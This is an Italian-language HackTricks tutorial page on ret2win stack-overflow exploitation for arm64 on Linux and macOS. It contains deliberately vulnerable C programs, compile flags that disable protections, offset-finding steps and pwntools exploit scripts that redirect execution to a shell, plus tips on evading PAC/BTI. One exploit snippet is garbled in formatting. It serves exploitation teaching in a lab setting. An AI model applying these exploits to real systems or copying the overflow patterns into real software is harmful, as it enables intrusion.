Ret2win - arm64
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Trova un’introduzione ad arm64 in:
Codice
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compila senza pie e canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- L’opzione aggiuntiva
-mbranch-protection=nonedisabilita la Protezione dei branch AArch64 (PAC/BTI). Se la tua toolchain di default abilita PAC o BTI, questo mantiene il laboratorio riproducibile. Per verificare se un binario compilato usa PAC/BTI puoi: - Cerca le proprietà GNU AArch64:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Ispeziona prologhi/epiloghi per
paciasp/autiasp(PAC) o per landing padbti c(BTI): objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- Il link register è
x30(anche noto comelr), e le funzioni tipicamente salvanox29/x30constp x29, x30, [sp, #-16]!e li ripristinano conldp x29, x30, [sp], #16; ret. - Questo significa che l’indirizzo di ritorno salvato vive a
sp+8rispetto alla base del frame. Con unchar buffer[64]posto sotto, la distanza usuale per sovrascrivere ilx30salvato è 64 (buffer) + 8 (x29 salvato) = 72 byte — esattamente quello che troveremo sotto. - Lo stack pointer deve rimanere allineato a 16 byte ai confini delle funzioni. Se costruirai catene ROP più avanti per scenari più complessi, mantieni l’allineamento dello SP o potresti andare in crash sugli epiloghi delle funzioni.
Finding the offset
Pattern option
This example was created using GEF:
Avvia gdb con gef, crea un pattern e usalo:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 tenterà di ritornare all’indirizzo nel registro x30 (che è stato compromesso), possiamo usare quello per trovare il pattern offset:
pattern search $x30
.png)
L’offset è 72 (9x48).
Stack offset option
Inizia ottenendo l’indirizzo dello stack dove è memorizzato il registro pc:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Ora imposta un breakpoint dopo la read() e fai continue finché la read() non viene eseguita, quindi imposta un pattern come 13371337:
b *vulnerable_function+28
c
.png)
Trova dove questo pattern è memorizzato in memoria:
.png)
Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Normale
Ottieni l’indirizzo della funzione win:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
In realtà questo sarà più un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutto il return address, sovrascriveremo solo gli ultimi 2 bytes con 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.
Con PIE
Tip
Compila il binario senza l’argomento
-no-pie
Off-by-2
Senza un leak non conosciamo l’indirizzo esatto della win function ma possiamo conoscere l’offset della funzione dal binary e, sapendo che l’indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile ottenere il leak dell’offset verso la win function (0x7d4) in questo caso e usare semplicemente quell’offset:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Codice
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Compila senza canary (su macOS non puoi disabilitare PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Esegui senza ASLR (anche se, dato che abbiamo un address leak, non ne abbiamo bisogno):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Non è possibile disabilitare NX in macOS perché su arm64 questa modalità è implementata a livello hardware, quindi non puoi disabilitarla; di conseguenza non troverai esempi con shellcode nello stack su macOS.
Trova l’offset
- Genera un pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Esegui il programma e inserisci il pattern per causare un crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Controlla il registro
x30(the return address) per trovare l’offset:
(lldb) register read x30
- Usa
cyclic -l <value>per trovare l’offset esatto:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- È così che ho trovato l’offset
72; mettendo a quell’offset l’indirizzo della funzionewin()puoi eseguire quella funzione e ottenere una shell (in esecuzione senza ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2° esempio
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Compila senza canary (in macOS non puoi disabilitare PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Trova l’offset
- Genera un pattern nel file
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Esegui il programma per causare un crash:
lldb ./bof_macos
(lldb) run
- Controlla il registro
x30(the return address) per trovare l’offset:
(lldb) register read x30
- Usa
cyclic -l <value>per trovare l’offset esatto:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- È così che ho trovato l’offset
72; inserendo a quell’offset l’indirizzo della funzionewin()puoi eseguire quella funzione e ottenere una shell (esecuzione senza ASLR).
Calcolare l’indirizzo di win()
- Il binario è PIE, usando il leak della funzione
leak_anchor()e conoscendo l’offset della funzionewin()rispetto aleak_anchor()possiamo calcolare l’indirizzo della funzionewin().
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- L’offset è
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Note sull’hardening moderno AArch64 (PAC/BTI) e ret2win
- Se il binario è compilato con AArch64 Branch Protection, potresti vedere
paciasp/autiaspobti cemessi nei prologhi/epiloghi delle funzioni. In tal caso: - Restituire il controllo a un indirizzo che non è un BTI landing pad valido può generare un
SIGILL. È preferibile mirare all’entry point esatto della funzione che contienebti c. - Se PAC è abilitato per i ritorni, le naive sovrascritture dell’indirizzo di ritorno potrebbero fallire perché l’epilogo autentica
x30. Per scenari di apprendimento, ricompila con-mbranch-protection=none(mostrato sopra). Quando attacchi bersagli reali, preferisci hijack non basati sul ritorno (es., sovrascritture di function pointer) oppure costruisci ROP che non esegua mai la coppiaautiasp/retche autentica il tuo LR contraffatto. - Per verificare rapidamente le funzionalità:
readelf --notes -W ./ret2wine cerca le noteAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC.objdump -d ./ret2win | head -n 40e cercabti c,paciasp,autiasp.
Esecuzione su host non‑ARM64 (qemu‑user quick tip)
Se sei su x86_64 ma vuoi esercitarti con AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Pagine correlate di HackTricks
Riferimenti
- Abilitare PAC e BTI su AArch64 per Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard di chiamata di procedura per l’architettura Arm a 64 bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


